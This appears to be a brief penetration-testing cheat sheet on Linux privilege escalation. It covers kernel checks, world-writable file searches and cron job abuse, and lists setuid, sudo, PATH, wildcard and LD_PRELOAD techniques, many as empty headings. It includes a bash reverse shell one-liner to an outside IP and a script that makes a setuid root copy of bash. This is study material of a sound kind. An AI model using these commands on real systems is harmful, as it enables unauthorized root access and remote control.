Linux PrivEsc

Kernel Exploits

# checking the Kernel level and Linux OS version.
uname -a
cat /etc/lsb-release

Cron Jobs

# Find world writables files or directories, look for uncommon files which can be leveraged to escalate privelges
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

# Find cron jobs
cat /etc/crontab

# Confirm the job is running using pspy - <https://github.com/DominicBreuker/pspy>
# The -pf flag tells the tool to print commands and file system events and -i 1000 tells it to scan profcs every 1000ms (or every second).
./pspy64 -pf -i 1000

# If a script is running by a root by a cron job and also writable by us then we can add ou reverse shell one liner to the script
bash -i >& /dev/tcp/ip/443 0>&1
  • If a cron job program/script does not use an absolute path, and one of the PATH directories is writable by our user, we may be able to create a program/script with the same name as the cron job.

    # Create a file with esame name as cron job in a directory writable by user which is also included in PATH
    ---
    #!/bin/bash
    cp /bin/bash /tmp/rootbash
    chmod +s /tmp/rootbash
    ---
    
    # make it executable and wait for cron jobto run and then try to execute the script
    /tmp/rootbash –p

Special Permissions

Setuid Bit -

  • The Set User ID upon Execution(setuid) permission can allow a user to execute a program or script with the permissions of another user, typically with elevated privileges. The setuidbit appears as an s.

Setgid Bit -

  • The Set-Group-ID (setgid) permission is another special permission that allows us to run binaries as if we were part of the group that created them.

Sudo Rights Abuse

PATH abuse

Wildcard Abuse

Character
Significance

*

An asterisk that can match any number of characters in a file name.

?

Matches a single character.

[ ]

Brackets enclose characters and can match any single one at the defined position.

~

A tilde at the beginning expands to the name of the user home

directory or can have another username appended to refer to that user's

home directory.

-

A hyphen within brackets will denote a range of characters.

Credential Hunting

Environment Variable

LD_PRELOAD

LD_LIBERARY_PATH

Weak NFS Privileges

Weak file Permission

Last updated